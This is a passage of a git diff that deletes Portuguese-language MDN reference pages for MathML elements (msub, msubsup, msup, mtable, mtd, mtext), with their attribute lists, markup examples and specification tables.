- <li>Antes do Gecko 6.0 {{ geckoRelease("6.0") }} a implementação do <code>&lt;mstyle&gt;</code> não estava completa, e desde então <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=569125">foi corrigida</a>. Particularmente, os valores dos seguintes atributos no <code>mstyle</code> não têm efeito nos filhos do elemento:
-
- <ul>
- <li>O atributo <code>bevelled</code> não afeta o {{ MathMLElement("mfrac") }}.</li>
- <li>O atributo <code>notation</code> não afeta {{ MathMLElement("menclose") }}.</li>
- <li>Os atributos <code>open</code>, <code>close</code> e <code>separators</code> não afetam {{ MathMLElement("mfenced") }}.</li>
- <li>Os atributos <code>accent</code> e <code>accentunder</code> não afetam o {{ MathMLElement("mover") }}, {{ MathMLElement("munder") }} e {{ MathMLElement("munderover") }} elements.</li>
- <li>O atributo <code>selection</code> não afeta o {{ MathMLElement("maction") }}.</li>
- <li>O atributo <code>mathvariant</code> não afeta o {{ MathMLElement("mi") }}.</li>
- </ul>
- </li>
- <li>A começar com o Gecko 29.0 {{geckoRelease("29.0")}}, os atributos aceites no elemento <code>&lt;mstyle&gt;</code> foram restritos aos que são usados na prática: <code>id</code>, <code>class,</code> <code>style</code>, <code>href</code>, <code>mathcolor</code>, <code>mathbackground</code>, <code>scriptlevel</code>, <code>displaystyle,</code> <code>scriptsizemultiplier</code>, <code>scriptminsize</code>, <code>dir</code>, <code>mathsize</code>, <code>mathvariant,</code> <code>fontfamily</code>, <code>fontweight</code>, <code>fontstyle</code>, <code>fontsize</code>, <code>color</code> e <code>background</code>.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/msub/index.html b/files/pt-pt/web/mathml/element/msub/index.html
deleted file mode 100644
index c7584186cf..0000000000
--- a/files/pt-pt/web/mathml/element/msub/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: <msub>
-slug: Web/MathML/Element/msub
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/msub
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de MathML <code>&lt;msub&gt;</code> para adicionar um <em>subscript</em> a uma expressão.</span></p>
-
-<p>Usa a seguinte sintaxe: <code>&lt;msub&gt; <em>base subscript</em> &lt;/msub&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-subscriptshift"><code>subscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>subscript</em> e a linha de base da expressão, como um <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x1" src="/files/3202/msub.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <msub> <mi>X</mi> <mn>1</mn> </msub> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;msub&gt;
-    &lt;mi&gt;X&lt;/mi&gt;
-    &lt;mn&gt;1&lt;/mn&gt;
-  &lt;/msub&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.msub', 'msub') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.msub', 'msub') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.msub")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("msup") }} (<em>Superscript</em>)</li>
- <li>{{ MathMLElement("msubsup") }} (Par de <em>subscript-superscript</em>)</li>
- <li>{{ MathMLElement("mmultiscripts") }} (<em>Prescripts</em> e índices tensores)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/msubsup/index.html b/files/pt-pt/web/mathml/element/msubsup/index.html
deleted file mode 100644
index 0091ba6c73..0000000000
--- a/files/pt-pt/web/mathml/element/msubsup/index.html
+++ /dev/null
@@ -1,89 +0,0 @@
----
-title: <msubsup>
-slug: Web/MathML/Element/msubsup
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/msubsup
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de MathML <code>&lt;msubsup&gt;</code> é usado para adicionar um <em>subscript</em> e um <em>superscript</em>, juntos, a uma expressão.</span></p>
-
-<p>Usa a sintaxe seguinte: <code>&lt;msubsup&gt; <em>base subscript superscript</em> &lt;/msubsup&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-subscriptshift"><code>subscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>subscript</em> e a linha de base da expressão, como um <a class="external external-icon" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
- <dt id="attr-superscriptshift"><code>superscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>superscript</em> e a linha de base da expressão, como um <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x1" src="/files/3204/msubsup.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math displaystyle="true"> <msubsup> <mo> ∫</mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math></p>
-
-<pre class="brush: html notranslate">&lt;math displaystyle="true"&gt;
-
-  &lt;msubsup&gt;
- &lt;mo&gt; &amp;#x222B;&lt;!--Integral --&gt; &lt;/mo&gt;
- &lt;mn&gt; 0 &lt;/mn&gt;
- &lt;mn&gt; 1 &lt;/mn&gt;
- &lt;/msubsup&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.msubsup', 'msubsup') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.msubsup', 'msubsup') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.msubsup")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("msub") }} (<em>Subscript</em>)</li>
- <li>{{ MathMLElement("msup") }} (<em>Superscript</em>)</li>
- <li>{{ MathMLElement("mmultiscripts") }} (<em>Prescripts</em> e índices tensores)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/msup/index.html b/files/pt-pt/web/mathml/element/msup/index.html
deleted file mode 100644
index 029486dce2..0000000000
--- a/files/pt-pt/web/mathml/element/msup/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: <msup>
-slug: Web/MathML/Element/msup
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/msup
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de MathML <code>&lt;msup&gt;</code> é usado para adicionar um superscript a uma expressão.</span></p>
-
-<p>Usa a sintaxe seguinte: <code>&lt;msup&gt; <em>base superscript</em> &lt;/msup&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a></dd>
- <dt id="attr-superscriptshift"><code>superscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>superscript</em> e a linha de base da expressão, como um <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x1" src="/files/3203/msup.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <msup> <mi>X</mi> <mn>2</mn> </msup> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;msup&gt;
-    &lt;mi&gt;X&lt;/mi&gt;
-    &lt;mn&gt;2&lt;/mn&gt;
-  &lt;/msup&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.msup', 'msup') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.msup', 'msup') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.msup")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("msub") }} (<em>Subscript</em>)</li>
- <li>{{ MathMLElement("msubsup") }} (par de <em>subscript-superscript</em>)</li>
- <li>{{ MathMLElement("mmultiscripts") }} (<em>Prescripts</em> e índices tensores)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mtable/index.html b/files/pt-pt/web/mathml/element/mtable/index.html
deleted file mode 100644
index 90c763e3f2..0000000000
--- a/files/pt-pt/web/mathml/element/mtable/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: <mtable>
-slug: Web/MathML/Element/mtable
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Tabular Math'
- - Referência de MathML
-translation_of: Web/MathML/Element/mtable
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento MathML <code>&lt;mtable&gt;</code> permite criar tabelas e matrizes. Dentro de um <code>&lt;mtable&gt;</code> só podem aparecer os elementos {{ MathMLElement("mtr") }} e {{ MathMLElement("mtd") }}. Estes elementos são semelhantes aos elementos de <a href="/pt-PT/docs/HTML">HTML</a> {{ HTMLElement("table") }} , {{ HTMLElement("tr") }} e {{ HTMLElement("td") }}.</p>
-
-<div class="note">
-<p><strong>Nota: </strong>O elemento <code>&lt;mtable&gt;</code> restaura o valor do atributo <code>displaystyle</code> para <code>false</code>. Se quiser usar este elemento com o formatação de <em>inline-block</em>, deve criar o elemento com o atributo <code>displaystyle</code> com o valor <code>true</code>, por exemplo <code>&lt;mtable displaystyle="true"&gt;...&lt;/mtable&gt;</code>.</p>
-</div>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-align">align</dt>
- <dd>Especifica o alinhamento <strong>vertical</strong> da mesa em relação ao seu ambiente.<br>
- Os valores aceites são:
- <ul>
- <li><code>axis</code> (pré-definido): O centro vertical da tabela alinha-se no eixo do ambiente (tipicamente o sinal menos).</li>
- <li><code>baseline</code>: O centro vertical da mesa alinha-se com a linha de base do ambiente.</li>
- <li><code>bottom</code>: O fundo da tabela alinha-se com a linha de base do ambiente.</li>
- <li><code>center</code>: Ver linha de base.</li>
- <li><code>top</code>: O topo da tabela alinha-se com a linha de base do ambiente.</li>
- </ul>
- Além disso, os valores do atributo <code>align</code> podem terminar com um número de <code>rownumber</code> (por exemplo <code>align="center 3"</code>). Isto permite alinhar a linha especificada da tabela em vez de toda a tabela. Um valor integral negativo conta as linhas do fundo da tabela. Começando com Gecko 8.0 {{ geckoRelease("8.0") }}, a interpretação dos valores negativos foi corrigida ({{ bug(601436) }}). Em Gecko 17.0 {{ geckoRelease("17.0") }}, a análise foi atualizada para tratar corretamente o espaço em branco.</dd>
- <dt id="attr-alignmentscope">alignmentscope</dt>
- <dd>{{ unimplemented_inline() }}</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-columnalign">columnalign</dt>
- <dd>Indica o alinhamento horizontal das células da tabela. São permitidos valores múltiplos separados por espaço e aplicam-se às colunas correspondentes (e.x. <code>columnalign="left right center"</code>). Os valores aceites são: <code>left</code>, <code>center</code> (pré-definido) e <code>right</code>.</dd>
- <dt id="attr-columnlines">columnlines</dt>
- <dd>Indica as bordas das colunas da tabela. São permitidos valores múltiplos separados por espaço e aplicam-se às colunas correspondentes (e.x. <code>columnlines="none none solid"</code>). Os valores aceites são: <code>none</code> (pré-definido), <code>solid</code> e <code>dashed</code>.</dd>
- <dt id="attr-columnspacing">columnspacing</dt>
- <dd>Indica o espaço entre as colunas da tabela.</dd>
- <dt id="attr-columnwidth">{{ unimplemented_inline() }} columnwidth</dt>
- <dd>Indica a largura das colunas da tabela.</dd>
- <dt id="attr-displaystyle">displaystyle</dt>
- <dd>Um valor <code>Boolean</code> que indica se mais espaço é usado para visualizar equações ou, se <code>false</code>, uma apresentação mais compacta é usada para apresentar as fórmulas. O efeito principal é que versões maiores de operadores são apresentados quando <code>displaystyle</code> é <code>true</code>.</dd>
- <dt id="attr-equalcolumns">{{ unimplemented_inline() }} equalcolumns</dt>
- <dd>Um valor <code>Boolean</code> que indica se todas as colunas devem ser forçadas a ter a mesma altura total. <code>false</code> é o valor pré-definido.</dd>
- <dt id="attr-equalrows">{{ unimplemented_inline() }} equalrows</dt>
- <dd>Um valor <code>Boolean</code> que indica se todas as linhas devem ser forçadas a ter a mesma altura total. <code>false</code> é o valor pré-definido.</dd>
- <dt id="attr-frame">frame</dt>
- <dd>Indica as bordas do elemento <code><a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Element/mtable" title="&lt;mtable>">&lt;mtable&gt;</a></code>. Os valores possiveis são: <code>none</code> (pré-definido), <code>solid</code> e <code>dashed</code>.</dd>
- <dt id="attr-framespacing">framespacing</dt>
- <dd>Indica o espaço adicional entre a tabela e a <code>frame</code>.</dd>
- <dt id="attr-groupalign">groupalign</dt>
- <dd>{{ unimplemented_inline() }}</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação apontando a uma URI especificado.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-minlabelspacing">{{ unimplemented_inline() }} minlabelspacing</dt>
- <dd>Um <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">valor de comprimento</a> que indica o espaço minimimo entre uma etiqueta e a célula adjacente numa linha.</dd>
- <dt id="attr-rowalign">rowalign</dt>
- <dd>Indica o alinhamento vertical das células da tabela. São permitidos valores múltiplos separados por espaço e aplicam-se às linhas correspondentes (e.x. <code>rowalign="top bottom axis"</code>). Os valores aceites: <code>axis</code>, <code>baseline</code> (pré-definido), <code>bottom</code>, <code>center</code> e <code>top</code>.</dd>
- <dt id="attr-rowlines">rowlines</dt>
- <dd>Especifica o estilo das bordas das linhas da tabela.  São permitidos valores múltiplos separados por espaço e aplicam-se às linhas correspondentes (e.x. <code>rowlines="none none solid"</code>). Os valores aceites são: <code>none</code> (pré-definido), <code>solid</code> e <code>dashed</code>.</dd>
- <dt id="attr-rowspacing">{{ unimplemented_inline() }} rowspacing</dt>
- <dd>Specifies the space between table rows.</dd>
- <dt id="attr-side">{{ unimplemented_inline() }} side</dt>
- <dd>Indica a posição onde a etiqueta de {{ MathMLElement("mlabeledtr") }} deve ser posta. Os valores acietes são: <code>left</code>, <code>right</code> (pré-definido), <code>leftoverlap</code> e <code>rightoverlap</code>.</dd>
- <dt id="attr-width">width</dt>
- <dd>Indica a largura desejada da tabela. Ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" title="/en-US/docs/MathML/Attributes/Values#Lengths">comprimentos</a> para valores possíveis.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Alinhamento_com_linha_indicada">Alinhamento com linha indicada</h3>
-
-<p>Renderização: <img alt="" src="/files/3295/mtable-1.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mi&gt;X&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mtable frame="solid" rowlines="solid" align="axis 3"&gt;
- &lt;mtr&gt;
- &lt;mtd&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/mtd&gt;
- &lt;mtd&gt;&lt;mi&gt;B&lt;/mi&gt;&lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;/mtd&gt;
- &lt;mtd&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd&gt;&lt;mi&gt;E&lt;/mi&gt;&lt;/mtd&gt;
- &lt;mtd&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mtable', 'mtable') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mtable', 'mtable') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mtable")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mtd") }} (Célula de tabela)</li>
- <li>{{ MathMLElement("mtr") }} (Linha de tablela)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mtd/index.html b/files/pt-pt/web/mathml/element/mtd/index.html
deleted file mode 100644
index e799e7d4c1..0000000000
--- a/files/pt-pt/web/mathml/element/mtd/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: <mtd>
-slug: Web/MathML/Element/mtd
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Tabular Math'
- - Referência de MathML
-translation_of: Web/MathML/Element/mtd
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento <code>&lt;mtd&gt;</code> de MathML representa uma célula numa tabela ou matriz. Só pode aparecer dentro do elemento {{ MathMLElement("mtr") }}. Este elemento é semelhante ao elemento {{ HTMLElement("td") }} de <a href="/pt-PT/docs/Web/HTML">HTML</a>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/pt-PT/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-columnalign">columnalign</dt>
- <dd>Indica o alinhamento horizontal desta célula e sobrepõe o valor especificado por {{ MathMLElement("mtable") }} ou {{ MathMLElement("mtr") }}.<br>
- Os valores possíveis são: <code>left</code>, <code>center</code> e <code>right</code>.</dd>
- <dt id="attr-columnspan">columnspan</dt>
- <dd>Um integral não negativo que indica qual o numero de colunas sob qual a célula se estende.</dd>
- <dt>groupalign</dt>
- <dd>{{ unimplemented_inline() }}</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-rowalign">rowalign</dt>
- <dd>Indica o alinhamento vertical desta célula e sobrepõe os valores especificados por {{ MathMLElement("mtable") }} ou {{ MathMLElement("mtr") }}.<br>
- Os valores possíveis são: <code>axis</code>, <code>baseline</code>, <code>bottom</code>, <code>center</code> e <code>top</code>.</dd>
- <dt id="attr-rowspan">rowspan</dt>
- <dd>Um integral não negativo que indica qual o número de linhas (<em>rows</em>) sob qual a célula se estende.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mtd', 'mtd') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mtd', 'mtd') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mtd")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mtable") }}</li>
- <li>{{ MathMLElement("mtr") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mtext/index.html b/files/pt-pt/web/mathml/element/mtext/index.html
deleted file mode 100644
index 79be044f23..0000000000
--- a/files/pt-pt/web/mathml/element/mtext/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: <mtext>
-slug: Web/MathML/Element/mtext
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Elements'
- - Referência de MathML
-translation_of: Web/MathML/Element/mtext
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de MathML <code>&lt;mtext&gt;</code> é usado para apresentar texto <em>sem</em> significado notacional, como comentários e anotações.</span></p>
-
-<p>Para apresentar texto <em>com</em> significado notacional, use {{ MathMLElement("mi") }} e {{ MathMLElement("mo") }}.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathsize">mathsize</dt>
- <dd>O tamanho do conteúdo. Ver <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para os valores aceites.<br>
- Valores obsoletos: <code>small</code>, <code>normal</code> e <code>big</code>. Estes serão removidos no futuro.</dd>
- <dt id="attr-mathvariant">mathvariant</dt>
- <dd>Este atributo especifica a classe lógica do identificador, que varia em tipografia. Ou seja, embora os nomes sugerem o estilo tipográfico da classe, semanticamente, os itens com a mesma classe são tratados "da mesma forma" dentro de uma expressão, o que pode ou não envolver a sua exibição com a tipografia nomeada. São permitidos os seguintes valores:
- <ul>
- <li><code>normal</code> (Valor padrão) ; <math><mtext mathvariant="normal">Exemplo</mtext></math></li>
- <li><code>bold</code> ; <math><mtext mathvariant="bold">Exemplo</mtext></math></li>
- <li><code>italic</code> ; <math><mtext mathvariant="italic">Exemplo</mtext></math></li>
- <li><code>bold-italic</code> ; <math><mtext mathvariant="bold-italic">Exemplo</mtext></math></li>
- </ul>
-
- <ul>
- <li><code>double-struck</code> ; <math><mtext mathvariant="double-struck">Exemplo</mtext></math></li>
- <li><code>bold-fraktur</code> ; <math><mtext mathvariant="bold-fraktur">Exemplo</mtext></math></li>
- <li><code>script</code> ; <math><mtext mathvariant="script">Exemplo</mtext></math></li>
- <li><code>bold-script</code> ; <math><mtext mathvariant="bold-script">Exemplo</mtext></math></li>
- <li><code>fraktur</code> ; <math><mtext mathvariant="fraktur">Exemplo</mtext></math></li>
- </ul>
-
- <ul>
- <li><code>sans-serif</code> ; <math><mtext mathvariant="sans-serif">Exemplo</mtext></math></li>
- <li><code>bold-sans-serif</code> ; <math><mtext mathvariant="bold-sans-serif">Exemplo</mtext></math></li>
- <li><code>sans-serif-italic</code> ; <math><mtext mathvariant="sans-serif-italic">Exemplo</mtext></math></li>
- <li><code>sans-serif-bold-italic</code> ; <math><mtext mathvariant="sans-serif-bold-italic">Exemplo</mtext></math></li>
- <li><code>monospace</code> ; <math><mtext mathvariant="monospace">Exemplo</mtext></math></li>
- </ul>
-
- <ul>
- <li><code>normal</code> (Valor padrão) ; <math><mtext>مثال</mtext></math></li>
- <li><code>initial</code> ; <math><mtext mathvariant="initial">مثال</mtext></math></li>
- <li><code>tailed</code> ; <math><mtext mathvariant="tailed">مثال</mtext></math></li>
